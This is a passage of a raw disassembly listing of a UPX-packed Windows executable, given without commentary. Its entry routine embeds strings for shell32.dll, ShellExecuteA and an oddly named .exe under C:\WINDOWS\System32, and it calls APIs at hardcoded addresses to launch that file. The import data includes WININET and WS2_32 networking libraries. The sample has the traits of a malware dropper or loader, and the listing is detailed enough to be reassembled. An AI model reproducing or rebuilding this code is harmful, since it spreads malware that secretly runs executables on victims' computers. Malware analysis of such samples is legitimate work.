1Fh db 5Ch, 14h, 53h db 3Ah ; : db 59h, 44h, 49h db 10h db 7Dh, 51h, 5Eh db 2Eh ; . db 2Ah, 5Bh, 1Ah db 80h ; € db 23h, 9Eh, 30h db 0F4h ; ô db 63h, 0EEh, 6 db 28h ; ( db 97h, 70h, 84h db 76h ; v align 2 dw 3C55h ; --------------------------------------------------------------------------- mov al, 2Bh jmp short loc_30906832 ; --------------------------------------------------------------------------- db 0F1h, 3Dh ; --------------------------------------------------------------------------- loc_30906832: ; CODE XREF: UPX1:3090682Ej ja short near ptr loc_3090685B+4 jge short loc_30906895 xchg edi, [ebp+7] in eax, dx jg short near ptr loc_3090688E+3 jbe short loc_30906841 jle short near ptr loc_3090688E+3 pop ebp loc_30906841: ; CODE XREF: UPX1:3090683Cj add [ecx], dh pop esp sti inc edx push ebx lea edi, [ebx] sahf xor [ebp+3Ah], ebp jnp short near ptr loc_3090688E+1 dec ecx sub [ebp+42h], edi sub edi, esi cmp cl, [ebp+260255C0h] loc_3090685B: ; CODE XREF: UPX1:loc_30906832j call near ptr 0A9AF1266h pop edi pop esp pop ds inc eax db 64h arpl sp, si inc eax sbb eax, 83609D78h and ebp, [ecx] push esp and al, ds:2586763h sar dword ptr [edi], cl db 64h, 67h add eax, 0FC26333Bh sbb al, 28h adc [esi+44h], edi inc esp fsubrp st, st test [eax+59h], edx push ecx insd jns short near ptr loc_309068A0+1 loc_3090688E: ; CODE XREF: UPX1:3090684Dj ; UPX1:3090683Aj ... mov eax, ds:7B5D91E8h jg short near ptr loc_309068E7+2 loc_30906895: ; CODE XREF: UPX1:30906834j ; UPX1:309068C5j cmp dl, [ebx+51h] add al, 5Ah cmp edi, [ebx] scasd dec ebx jnz short loc_309068E6 loc_309068A0: ; CODE XREF: UPX1:3090688Cj cmp al, 0B1h push ecx add al, 76h push ebp arpl [edx-7BCB6223h], cx mov eax, ds:0BC5A527Fh inc esp and al, 42h push 8C661E58h sbb eax, 8078E00Fh mov dword ptr [edx+15h], 280A3C9Ah loope near ptr loc_30906895+2 out dx, al push ecx jmp short loc_30906903 ; --------------------------------------------------------------------------- pop esi jmp short loc_3090691F ; --------------------------------------------------------------------------- dw 0C97Dh dd 0AC4405A8h, 5377748Ch, 6724498Dh, 0E966859Ah, 2B41B2Fh db 3Fh, 0F6h ; --------------------------------------------------------------------------- loc_309068E6: ; CODE XREF: UPX1:3090689Ej pop esp loc_309068E7: ; CODE XREF: UPX1:30906893j sub byte ptr [ebx+63h], 39h push ebp inc eax xchg eax, edi pop esi adc eax, edi imul edi, 15h cmp esp, esp and bh, [ebx] cmpsb push esp ; --------------------------------------------------------------------------- dw 0F28Dh dd 3F42812Fh db 2Bh, 7Ch, 59h ; --------------------------------------------------------------------------- loc_30906903: ; CODE XREF: UPX1:309068C9j push edx retf 562h ; --------------------------------------------------------------------------- db 0E7h dd 1B90AB36h, 23575D7Dh, 50113156h, 228AB2A1h, 53FE0626h db 64h, 75h, 5Bh ; --------------------------------------------------------------------------- loc_3090691F: ; CODE XREF: UPX1:309068CCj dec esp inc ebp xor al, 0FDh sub al, [esi+48957DDBh] jno short loc_30906968 mov esi, 0AB15DD38h cmp eax, 1D099F6Dh push 52833849h loc_3090693A: ; CODE XREF: UPX1:3090695Cj or [ebp+48h], dh add eax, eax in al, dx xor al, 47h bound esi, ds:3538551Eh aaa push es mov edi, [esi+4Ah] push ebp adc ah, [ecx-7A7B0E84h] xchg cl, [ebx+3D9DD675h] jz short near ptr loc_309069AD+4 jns short loc_3090693A stosd pop esp xor al, 6Ah loope loc_309069DB push edi test al, 21h inc eax loc_30906968: ; CODE XREF: UPX1:30906929j fmulp st(4), st jnp short near ptr loc_309069C0+1 dec ecx jnz short loc_3090698F dec ebp inc esp and ah, dh jmp far ptr 21DDh:3A613F51h ; --------------------------------------------------------------------------- dw 0FDBBh dd 0A5C632h, 0E020116Ah, 0F200DF5Eh, 52713C61h ; --------------------------------------------------------------------------- dec ebx pop ebx pop edx loc_3090698F: ; CODE XREF: UPX1:3090696Dj xor eax, 0CBA790B2h or [esi-33h], bl inc ebx lodsd sbb eax, 47442620h js short loc_309069B8 and [edi+3A35C6E9h], bl jz short near ptr loc_309069C6+4 push ecx db 3Eh push ecx mov dh, 85h loc_309069AD: ; CODE XREF: UPX1:3090695Aj mov esi, 495659DDh out 57h, eax dec edx inc ebp sbb eax, [esi] loc_309069B8: ; CODE XREF: UPX1:3090699Ej imul ebp, eax, -15h loopne loc_30906A19 cmc pop edi dec ecx loc_309069C0: ; CODE XREF: UPX1:3090696Aj sbb al, 21h pop edi jo short loc_309069D6 in al, dx loc_309069C6: ; CODE XREF: UPX1:309069A6j jmp near ptr 224FCBEBh ; --------------------------------------------------------------------------- db 73h dd 0B3D3E9CEh, 537124AFh ; --------------------------------------------------------------------------- inc ecx inc ebp loc_309069D6: ; CODE XREF: UPX1:309069C3j pop ecx inc edx icebp mov edx, esp loc_309069DB: ; CODE XREF: UPX1:30906962j push ecx jge short loc_30906A57 adc [eax+3CEB230Ah], dl scasd push esi out dx, al fadd dword ptr [ebx+42h] icebp db 36h pop ebp xor ch, 52h or [edi+1Ch], dh db 3Eh inc esp aas pop ax push edi sahf arpl [ebp+2Dh], di outsd jz short near ptr loc_30906A53+2 ; --------------------------------------------------------------------------- dd 0F0FC6C0Fh, 0DD586FD1h, 832179Ch, 37F6253Bh, 0D93F9553h dd 969E69BCh ; --------------------------------------------------------------------------- lahf loc_30906A19: ; CODE XREF: UPX1:309069BBj jbe short $+2 add al, 24h cmp eax, 0CCF77003h push ebp icebp and eax, 0BB00A871h and al, 3Ah out dx, al icebp inc esi sbb ebx, [ecx+ecx*4+79h] push esi push edi inc eax xor eax, 7F715681h sub al, 74h or bh, ch les edx, [eax] push esp cmp eax, 2EEB3B50h mov ch, 65h stosd jno short near ptr loc_30906A65+7 db 3Eh mov [ecx+39h], dl sbb [ecx+24h], edi pop ebx loc_30906A53: ; CODE XREF: UPX1:309069FEj add ebp, [edx+eax+5] loc_30906A57: ; CODE XREF: UPX1:309069DCj xor ebx, [esi+1Bh] xchg eax, ebx arpl [ecx+esi*4+2Ah], ax and [ebx-0F9BE3ACh], edi loc_30906A65: ; CODE XREF: UPX1:30906A8Aj ; UPX1:30906A49j imul esp, [esi-30EC9CA3h], 3D323243h xor [ebp+69h], edx cmpsb push ebp or [edi+4], ebx daa cmp al, 0A5h push ebp imul esp, [esi+20233439h], 0A865F26h sub cl, bl pusha jnz short loc_30906B03 jl short near ptr loc_30906A65+3 and edx, esp jo short near ptr loc_30906B04+2 outsd db 2Eh or cl, ch sal byte ptr [ecx], 1 cmp esi, [ecx] db 36h inc esp adc dword ptr [eax-1], 0EF2314FEh adc bh, [ebx] adc eax, 249F911Dh mov dword ptr [ebx], 5E57CD32h jmp near ptr 6CF0A25Eh ; --------------------------------------------------------------------------- db 2Eh dd 55D02004h, 3637505Fh, 0CB1CA430h, 0B5693835h, 314854BCh dd 0D3F0052Eh, 3A651E3Ah, 76763913h, 0FA14A0B3h, 4B423B62h dd 1ED0348Ch, 0C4CBD154h, 0E7D21B3Fh, 1718DC1Dh, 0A834F026h dd 0B030301Eh, 109E3D69h, 0CF303031h, 30303030h db 50h, 8Eh, 30h ; --------------------------------------------------------------------------- loc_30906B03: ; CODE XREF: UPX1:30906A88j pusha loc_30906B04: ; CODE XREF: UPX1:30906A8Ej mov al, ds:308EBD00h lock iret ; --------------------------------------------------------------------------- db 0CFh db 67h ; g db 0B3h, 0FDh, 0CFh db 0DBh ; Û db 20h, 2 dup(0A0h) db 0A0h ; db 3 dup(0A0h) ; --------------------------------------------------------------------------- mov edx, 37B87636h ja short loc_30906B50 jmp short loc_30906B66 ; --------------------------------------------------------------------------- aaa mov ebx, 0CCDEB32Eh and ebx, ebp inc edx fisttp qword ptr [eax+30303031h] xor ebx, ebp inc ebp aaa mov ebx, 0CCDEB32Eh and ebx, ebp and eax, esi xor ebx, ebp inc ebx fild word ptr [ebp+39h] mov ebx, 0CCDEB32Eh and ebx, ebp inc ebx aam 1 stc mov bl, 0D8h loc_30906B50: ; CODE XREF: UPX1:30906B1Dj xor eax, [edx+3Dh] icebp sar byte ptr [eax], 1 mov edx, 0C0B37636h iret ; --------------------------------------------------------------------------- dd 0F5B94444h, 3745EB31h db 0BBh, 2Eh ; --------------------------------------------------------------------------- loc_30906B66: ; CODE XREF: UPX1:30906B1Fj mov bl, 0DEh int 3 ; Trap to Debugger and ebx, ebp and ecx, edi xor ebx, ebp inc ebp aaa mov ebx, 0CCDEB32Eh and ebx, ebp and ecx, edi inc ebp adc [ecx+31h], dh jmp short loc_30906BC5 ; --------------------------------------------------------------------------- dd 0B32EBB37h, 0EB21CCDEh, 0EB31F921h, 3945DF43h, 0DEB32EBBh dd 43EB21CCh, 32F1B3D4h, 0C330CDB1h, 0E1B3CFCFh, 1F24BD31h dd 46CCCDB3h, 7232BA3Fh, 797737B8h, 53D9C745h, 0A0CFCFCFh dd 0F2B332BBh, 0B337B934h db 0F7h ; --------------------------------------------------------------------------- loc_30906BC5: ; CODE XREF: UPX1:30906B7Ej xor al, 0B3h fnstenv byte ptr [edi+eax*2] sal dword ptr [ecx], 0FFh fnstcw word ptr [edi+ecx*8-31h] iret ; --------------------------------------------------------------------------- dw 0B96Eh db 0C7h ; Ç db 89h, 0B6h, 30h db 30h ; 0 db 30h, 0BAh, 37h db 77h ; w db 1Ch, 0D8h, 0Ch db 31h ; 1 db 47h, 0C7h, 0B0h db 0Fh db 31h, 45h, 0C2h db 0BBh ; » db 37h, 0BAh, 6Fh db 34h ; 4 db 56h, 0F1h, 0D8h db 38h ; 8 db 0F1h, 0F0h, 20h db 0B6h ; ¶ db 0F4h, 19h, 0C8h db 0B0h ; ° db 0DBh, 0D8h, 31h db 0C0h ; À db 0B9h, 37h, 0B3h db 0F7h ; ÷ db 35h ; 5 db 0B9h ; ¹ db 0E8h ; è db 0D2h ; Ò db 0E9h ; é db 0BDh ; ½ db 8Eh ; Ž db 30h ; 0 db 70h ; p db 30h ; 0 db 30h ; 0 db 0BBh ; » db 37h ; 7 db 39h ; 9 db 0F0h ; ð db 44h ; D db 75h, 0BBh, 6Fh ; --------------------------------------------------------------------------- xor al, 0BDh mov ah, 0 xor [eax+30h], dl xor [ecx], dh retn ; --------------------------------------------------------------------------- dw 0B360h db 0F7h ; ÷ db 38h, 0CFh, 0A6h db 0BCh ; ¼ db 50h, 2 dup(30h) db 0A5h ; ¥ db 0BAh, 37h, 77h db 38h ; 8 db 0F0h, 44h, 0ECh db 0B9h ; ¹ db 0C9h, 49h, 37h db 3Fh ; ? db 87h, 37h, 77h db 60h ; ` db 77h, 89h, 67h db 78h ; x ; --------------------------------------------------------------------------- retn 659Eh ; --------------------------------------------------------------------------- db 0CFh ; Ï db 0A6h, 0A0h, 50h db 30h ; 0 db 30h, 39h, 0F0h db 44h ; D db 37h, 0B9h, 33h db 0B3h ; ³ db 0F3h, 34h, 0DBh aSJdp00qJ000000 db 'èϦ¤P00QÙ²†ÏÏ0000000000000000000000000000000000000000000000000000' db '00000000000000000000000000000000000000000000000000000000000000000' db '00000000000000000000000000000000000000000000000000000000000000000' db '00000000000000000000000000000000000000000000000000000000000000000' db '00000000000000000000000000000000000000000000000000000000000000000' db '00000000000000000000000000000000000000000000000000000000000000000' db '000000000000000000000000000000000000000000',0 align 200h UPX1 ends ; Section 3. (virtual address 00007000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00007000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 30907000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 70C4h, 708Ch, 3 dup(0) dd 70D1h, 709Ch, 3 dup(0) dd 70DEh, 70A4h, 3 dup(0) dd 70E9h, 70ACh, 3 dup(0) dd 70F4h, 70B4h, 3 dup(0) dd 7100h, 70BCh, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C3528Dh, 0 dd 77D4C96Ah, 0 dd 7620AFB6h, 0 dd 71AB1A6Dh, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dword_30907200 dd 59E85Bh, 648B0000h, 0EBB80824h, 0EB000004h, 0A16764FAh ; DATA XREF: start+7Fo dd 408B0018h, 40B60F30h, 0F88302h, 0E83C75h, 5D000000h dd 2320ED81h, 858B0040h, 402367h, 236F8503h, 0F08B0040h dd 236B858Bh, 85030040h, 40236Fh, 33FE8B50h, 8532ACC9h dd 402377h, 8D3B41AAh, 402373h, 2BC3EF7Ch, 30FF64C0h, 0B8208964h dd 12345678h, 50000387h, 6B000000h, 0 db 90h db 30h, 0, 1Eh db 2 dup(0), 30h ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 309072EE SIZE 00000017 BYTES call near ptr loc_309072D2+1 jnb short loc_309072EE db 65h insb insb xor esi, [edx] db 2Eh, 64h insb insb add [ebx+68h], dl db 65h insb insb inc ebp js short near ptr loc_309072FC+1 arpl [ebp+74h], si db 65h inc ecx add [ebx+3Ah], al pop esp push edi dec ecx dec esi inc esp dec edi push edi push ebx pop esp push ebx jns short near ptr byte_3090731F jz short near ptr byte_30907313 insd xor esi, [edx] pop esp insd inc esp dec ebx xor eax, 67336B37h db 2Eh, 65h js short near ptr byte_30907323 add [eax+49h], cl dec edx dec ebx dec esp dec ebp dec esi dec edi push eax push ecx push edx push ebx push esp push ebp push esi push edi pop eax pop ecx pop edx loc_309072D2: ; CODE XREF: startp add [edx+52h], bl start endp ; sp-analysis failed push edx mov ebx, 77E7D961h call ebx pop ebx push ebx add ebx, 0Ch push ebx push eax mov ecx, 77E7B332h call ecx pop edx push 1 ; START OF FUNCTION CHUNK FOR start loc_309072EE: ; CODE XREF: start+5j push 0 push 0 mov ecx, edx add ecx, 1Ah push ecx push 0 push 0 loc_309072FC: ; CODE XREF: start+17j call eax mov eax, offset dword_30907200 jmp eax ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) db 3 dup(0) byte_30907313 db 0 ; CODE XREF: start+2Dj dd 2 dup(0) db 3 dup(0) byte_3090731F db 0 ; CODE XREF: start+2Bj db 3 dup(0) byte_30907323 db 0 ; CODE XREF: start+3Bj dd 7D6h dup(0) dd 210000h, 760h dup(0) UPX2 ends ; Section 4. (virtual address 0000B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3090B000h align 2000h _idata2 ends end start